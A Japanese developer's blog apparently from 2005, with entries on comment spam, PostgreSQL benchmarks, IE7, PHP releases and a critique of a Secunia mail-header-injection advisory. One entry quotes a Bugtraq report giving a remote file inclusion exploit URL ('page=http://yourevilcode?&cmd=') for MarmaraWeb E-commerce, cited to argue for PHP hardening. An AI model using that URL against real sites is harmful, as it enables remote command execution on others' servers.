カテゴリー: Computer

コメント&トラックバックスパムが…

コメント&トラックバックスパムが増えてきています。さっきも20数個のスパムを削除しました。TODOとしてCAPTCHA導入… しかし、CAPTCHAを入れるとアクセシビリティの問題も発生するので公共系サイトでは気をつけないとならないですね。

ところでWikipediaのCAPTCHAページ、リンクが豊富ですね。
http://ja.wikipedia.org/wiki/Captcha

ITMediaでもコメント&トラックバックSPAMが話題になってますね。
http://www.itmedia.co.jp/enterprise/articles/0512/20/news046.html
しかし、何故かCAPTCHAに言及してませんね。

やはり、まだある単純リモートスクリプト実行バグ..

Bug-TraqからMarmaraWeb E-commerceにリモートスクリプト実行脆弱性があることがレポートされていました。グーグルで検索しても日本語サイトが無いことから日本では利用されていないECアプリと思います。

MarmaraWeb E-commerce Remote Command Exucetion

###Hi all
###B3g0k[at]hackermail.com
###Kurdish Hacker
###Special Thanx All Kurdish Hackers
###Freedom For Ocalan!!!
###———————————–
###MarmaraWeb E-commerce Remote Command Exucetion
###———————————–
###Site: http://www.marmaraweb.com/referanslar.php#eticaret
###
###Description:An E-commerce scirpt coded by MarmaraWeb.
### selling produces from internet like books,DVDs,roasted chickpeas etc..
###=))
###
###
###Vulnerable:http://[target]/index.php?page=http://yourevilcode?&cmd=
###
###Vulnerable:http://[target]/?page=http://yourevilcode?&cmd=
###
###
###Solution : no I’m sorry =))
###
###Contact : B3g0k[at]hackermail[dot]com
###B3g0k [Kurdish Hacker]
###Freedom For Ocalan!!!
###Her B�j� Defacera Kurd!!!
###Greetz KHC,Serwebun Team,KHA,KCA

今年の6月頃にPHPプロジェクトの開発者MLで「allow_url_fopenがINI_SYSTEMに変更されたのはセキュリティ上問題である」と問題提起(詳しくはこのブログエントリを参照)したのですが、「何のセキュリティ対策になるのか分からない」とメールする人もいるくらいでした… 

このレポートにあるような脆弱性はPHP初心者にはありがちなミスです。やはり私が提案していた対策は必要だと確認できる脆弱性でした。

自分の身は自分で守る、ということでallow_url_fopenをINI_SYSTEMからINI_ALLに変更するパッチはこちらです。

mb_send_mailの脆弱性を利用したSPAM送信

mb_send_mailのRFC822形式の宛先ヘッダの処理がmailと違った為にSPAMの踏台にされた、という問題があったのですがどのプログラムかな?と思いつつ調べていなかったのですが、たまたま見付けました。serendipityだったようです。

http://blog.s9y.org/archives/80-Arbitrary-header-inclusion-in-Mail-Entry-plugin.html
http://www.s9y.org/forums/viewtopic.php?p=17772
http://xtian.goelette.info/index.php?url=archives/38-Email-injection-attack.html

PostgreSQL 8.1.1リリース

PostgreSQL 8.1.1がリリースされました。

http://www.postgresql.org/ のLATEST RELEASESからダウンロードできます。

Outer Join、CHECK文の不具合、sub selectの不具合などが修正されているそうです。他にも色々修正されているので不具合でお困りの方は試してみてはいかがでしょうか?

Athlon64 3200+/3GB/SATA HDD/1GbE/MomongaLinux x86_64開発版 にPostgreSQL 8.1.1をインストールしてPentiumDのマシンからpgbenchを実行した結果 (スケールファクタ 10、TCP接続設定以外はデフォルト)

[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000
starting vacuum…end.
transaction type: TPC-B (sort of)
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 282.428887 (including connections establishing)
tps = 282.667102 (excluding connections establishing)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -S
starting vacuum…end.
transaction type: SELECT only
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 4822.840200 (including connections establishing)
tps = 4892.360725 (excluding connections establishing)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -N
starting vacuum…end.
transaction type: Update only accounts
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 301.807334 (including connections establishing)
tps = 302.361132 (excluding connections establishing)

share_buffers=20000 (デフォルトは1000)

[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000
starting vacuum…end.
transaction type: TPC-B (sort of)
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 329.863325 (including connections establishing)
tps = 330.396068 (excluding connections establishing)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -S
starting vacuum…end.
transaction type: SELECT only
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 5771.386160 (including connections establishing)
tps = 5875.513153 (excluding connections establishing)
[yohgaki@dev php-4.4.1]$ pgbench -p 5432 -h 192.168.100.120 -U yohgaki -c 10 -t 1000 -N
starting vacuum…end.
transaction type: Update only accounts
scaling factor: 10
number of clients: 10
number of transactions per client: 1000
number of transactions actually processed: 10000/10000
tps = 397.720948 (including connections establishing)
tps = 398.210553 (excluding connections establishing)

VS 2005のExpress Editionは事実上,無償提供へ

自分のWikiのAdWords広告に以下のようなVisual Studioの広告が載っていたので見てみました。

Web アプリを開発するなら
Microsoft Visual Studio 2005 シンプルで使いやすい充実の機能満載

Beta2版とは言え自由にダウンロードできそうな感じだったので検索してみると

VS 2005のExpress Editionは事実上,無償提供へと言う記事を見つけました。1ヶ月も前の事なんですね。

1年間限定らしいのでVSを持っていない方はとにかく正式版がリリースされたらダウンロードだけはしておいても良いかも知れません。

改訂版PHPポケットリファレンスに載るはすだったページ

備考:かなり古いブログですが公開し忘れしていた分です。

改訂版PHPポケットリファレンスに載るはずだった「言語仕様」に関する記述をWikiに載せました。私が直接聞いた感想ではこの言語仕様のページを気に入っているとおっしゃる方も多かったです。短いのでPHPをまったく知らない方が感じをつかむには便利(?)かも知れません。

脆弱性がオークションに

eBayでEXCELの脆弱性が売りにだされたそうです。eBayの基準に合わないとして削除されたそうですが、0.01ドル(1セント)から売りに出され21件の応札があり$56にまで値上がりしたそうです。
# 似たような事は前にもあったと思いますが見つけられませんでした。

qmailの脆弱性なら作者から$500、qmailのユーザグループから$1000djbdnsの脆弱性なら$500の懸賞金がもらえます。

途中で削除されたとはいえ$56は高いのか安いのか?

PHP/tips/モジュールにバグがあった場合の対処

今更… という方もいらっしゃるかも知れませんが「PHP/tips/モジュールにバグがあった場合の対処」ページをWikiに作りました。

PHPのモジュールは基本的にはモジュールAPIが同じであればどのPHPと一緒に使っても構いません。つまり前のバージョンのモジュールが期待通りに動作していたのであれば、新しいPHPで古いモジュールを使えばよいのです。

# ただしセキュリティFIXが含まれる場合はセキュリティ用のパッチ
# を別途含めることをお忘れなく。

IE7の新機能

Intranet ZoneでもActiveXは自動インストールできなくなるようです。

http://blogs.msdn.com/ie/archive/2005/12/07/501075.aspx

As a safety precaution in IE7, we have set the default for the Trusted Sites zone to Medium, the same level as the Internet zone in IE6.

管理者権限が無くてもプラグインがインストールできるのは良いですね。

http://blogs.msdn.com/ie/archive/2005/09/20/471975.aspx

1. Start IE with elevated permissions: click Start, point to All Programs, right-click IE, and then select Run Elevated.
2. Perform the ActiveX installation.
3. Exit the current instance of IE.
4. Start a new instance of IE normally (without Administrator permissions).

Webサイトを運用する側としてはSSLv2が使われなくなる点に注意が必要かも知れません。

Microsoft will also discontinue the use of the SSLv2 (Secure Socket Layer) protocol in IE7 and use the stronger TLSv1 (Transport Layer Security) protocol—part of an overall plan to improve the security and user experience for HTTPS connections.

しかし互換性の為にいろいろやってますね。管理者権限を持たないユーザでWindowsを使っていると分かりますが、管理者権限を持っている事が前提に作られているアプリケーションはかなりあります。Windowsの歴史と仕様などからある程度仕方ない部分もあるのですが、普通のユーザでWindowsを使うと本当に使いづらいです。OSXは気にならないように作られているのですけどね。


20周年記念WinXPアップグレードパッケージ
を買うとVistaのプレビュー版がもれなくもらえるそうです。そのためだけに3万弱は高過ぎですが、WinME、Win2000等をアップグレードしたい方にはちょうど良いかも?

PCセキュリティ対策は日米そう変わらず?

News.comの記事によると、平均的(?)な家庭のPCは

-56%はアンチウィルスソフトをインストールしていないか、1週間以内にシグニチャを更新していない。
-44%はファイアーウォールを正しく設定しない。
-38%はスパイウェア対策がとられていない。

とあります。これでも昨年に比べるとかなり改善されているそうです。

MSの悪意のあるプログラム駆除ツールにWinnyのウィルス(Antinny)も含まれるようになり20万件駆除したそうです。それでも6割りほどしかウィルスが発生させるトラフィックが低下しなかった、と言うことは4割程度のユーザは適切な時期にWindows Updateを実行していない事になります。再感染もあったり、Winnyを使うユーザ層が一般的なユーザを代表しているとは言えないので直接は比較できませんが、Antinnyに感染しているPCがホームPCのみと仮定すると日米ともにホームユーザの安全性対策は同じ程度なのかも知れません。

気を取り直してPHP5.1.2リリース予定

PHP 5.1.0がリリースされた時のブログエントリに「PHP 5.1を評価しはじめるのはPHP5.1.2からでは」とコメントを書きました。そのPHP5.1.2ですが次のような予定にしては?と本家のMLには投稿されています。

PHP 5.1.2から評価しては、と自分で書いていますが、バグを見つけてバグデータベース

http://bugs.php.net/

に投稿するには今が良い時期と思います。

Date Summary: (not be confused with date extension ;-) )

Until Dec. 10, 2005: Minor features and bug fixes requiring major changes
Dec. 22, 2005: RC1
Jan. 05, 2006: RC2
Jan. 12, 2006: Final (pending critical issues since RC2)

Planned Changes:

* Resolve all currently opened Engine bugs, ideally 5.1.2 will be
released without any unresolved engine problems.
* Resolve all currently open PDO bugs.
* Enable xmlreader extension by default, as we do for all XML
extensions.
* Introduce hash extension via a symlink from pecl into core.
This extension introduces native implementation of common hash
algorithms with streams support, making it an excellent solution
for people requiring better hashing then provided by md5/sha1.
Merits of this extensions have been discussed on this list few
weeks ago, just scroll past the recent flame wars ;-)
* Introduce xmlwriter extension via a symlink from pecl into core and as
other XML extension enable it by default.
* Backport oci extension into 5.1, this is mostly for bug fixing
reasons, as the new code fixes over a dozen bug reports in that
extension.

不適切なアドバイザリ(was 間違ったアドバイザリ) – PHP

SECUNIAから間違った不適切なアドバイザリがレポートされていました。アドバイザリは下記の引用を参照してください。(Web版は修正される可能性もあるので直接貼り付け)

基本的にはメールに送信するTOをスクリプトでチェックしていない事がスクリプトの問題です。

TO(あて先)RFC822の仕様に従いヘッダに記載される情報をCR/LFと1以上の’ ‘(スペース)かタブで区切れる事になっています。この処理に問題がありSPAMメールを送信する踏み台にされるケースがあったようです。mailは元々はsendmailコマンドを使ってメールを送信(Windowsの場合はSMTPですが)するように作られているのでTOにRFC822仕様のデータを送るのはスクリプト側に問題があると思います。

これはPHPの脆弱性と言えない部分もあるのでそもそものアドバイザリが間違っています不適切と思います。”Moderately critical”と言うレベルも不適切です。さらに対処方法まで間違って不適切です。どちらかと言うとアプリの脆弱性としてレポートした方が良いのではないかと思います。アプリの脆弱性とレポートした方がPHP本体をバージョンアップするより、アプリのバージョンアップの方が簡単なのは明らかですから。しかし、mailと比べるとmb_send_mailの実装に不備があったのは確かなのでPHPの脆弱性である、とも言えるので微妙なアドバイザリだと思います。

スパムメール送信の踏み台に使われたアプリがどのアプリか知りませんが、どれかのWebメールプログラムだと思います。WebメールプログラムはWebアプリの中でも安全に構築する事がかなり難しいアプリの一つです。Webメールアプリを作られる方はTOヘッダに送る情報はチェックした方が良いと思います。

この件と似た例ではsafe_modeのアドバイザリがあります。「DBMSからファイルを読み込めばsafe_modeを回避できる」と言うアドバイザリ等、safe_mode関連ではアドバイザリが幾つかあります。PHP本体の開発者はsafe_modeチェックの不足があれば、問題として捉えるべきとは思います。しかし、DBからファイルロードしてアクセスする、となると話は別です。PHPプログラマはsafe_modeはfail_safe_modeと考えて、意図せずコードに問題があり不正にファイルにアクセスできてしまった時の防衛策、位の安全を提供する機能と考えるべきです。しかし、しばしば本当に安全で完全にファイルへのアクセスを制御できる、と思われがちです。

PHPはプログラミング言語とは言ってもフレームワーク的な要素を持っているので、safe_modeやsafe_modeに順ずるチェック行うべきではない、とも言えません。他のスクリプト系言語でもユーザ入力についてはフレームワーク的に対処していたりしています。どこまで行うべきか悩ましい所と思います。

PHP6ではsafe_modeは削除候補ですが、個人的にはsafe_modeは有用なのでfail_safe_modeとして残っていた方が良いと思っています。悪貨(不適切なアドバイザリ)が良貨(有用な機能)を駆逐している、という感想です。

備考:きちんとTOアドレスを確認している方はこのアドバイザリを気にする必要はありません。きちんと確認していない場合、PHPのバージョンアップは必要ありません。自分のコードを修正しましょう。

追記:最初にこのエントリを書いたときにcvs upの不良でmb_send_mailではチェックしている項目をmailではチェックしていない、と思っていました。しかし、PHP 5.1.1でmailではチェックされていた事をmb_send_mailでもチェックする様になった、が正しいです。komuraさん、ありがとうございました。

<blockquote>From:Secunia Security Advisories <sec-adv@secunia.com>
Date:28 Nov 2005 14:19:43 -0000
Subject:[SA17763] PHP “mb_send_mail()” “To:” Header Injection Vulnerability
——————————

TITLE:
PHP “mb_send_mail()” “To:” Header Injection Vulnerability

SECUNIA ADVISORY ID:
SA17763

VERIFY ADVISORY:
http://secunia.com/advisories/17763/

CRITICAL:
Moderately critical

IMPACT:
Security Bypass, Manipulation of data

WHERE:
>From remote

SOFTWARE:
PHP 4.4.x
http://secunia.com/product/5768/
PHP 5.0.x
http://secunia.com/product/3919/

DESCRIPTION:
s.masugata has reported a vulnerability in PHP, which potentially can
be exploited by malicious people to use it as an open mail relay.

The vulnerability is caused due to an input validation error in the
“mb_send_mail()” function. This can be exploited to inject arbitrary
headers in a mail sent via a script calling the “mb_send_mail()”
function where the “To” parameter can be controlled by the attacker.

SOLUTION:
Update to version 5.1.0.
http://www.php.net/downloads.php

Do not call the “mb_send_mail()” function in scripts where input
passed to the “To” parameter originates from untrusted sources.

PROVIDED AND/OR DISCOVERED BY:
s.masugata

ORIGINAL ADVISORY:
The PHP Group:
http://www.php.net/release_5_1_0.php

s.masugata:
http://bugs.php.net/bug.php?id=35307

———————————————————————-

福岡でのセミナー資料のダウンロード

福岡でのセミナー資料をWikiからダウンロードできるようにしました。

会場でもご案内しましたが高橋メソッドで行ったプレゼン分のアップロード予定はありません。

今気が付きましたが、高橋メソッドが本になったんですね! 名前も「でかいプレゼン」しかも今のAmazonのランキングは4000位くらい!すごい :)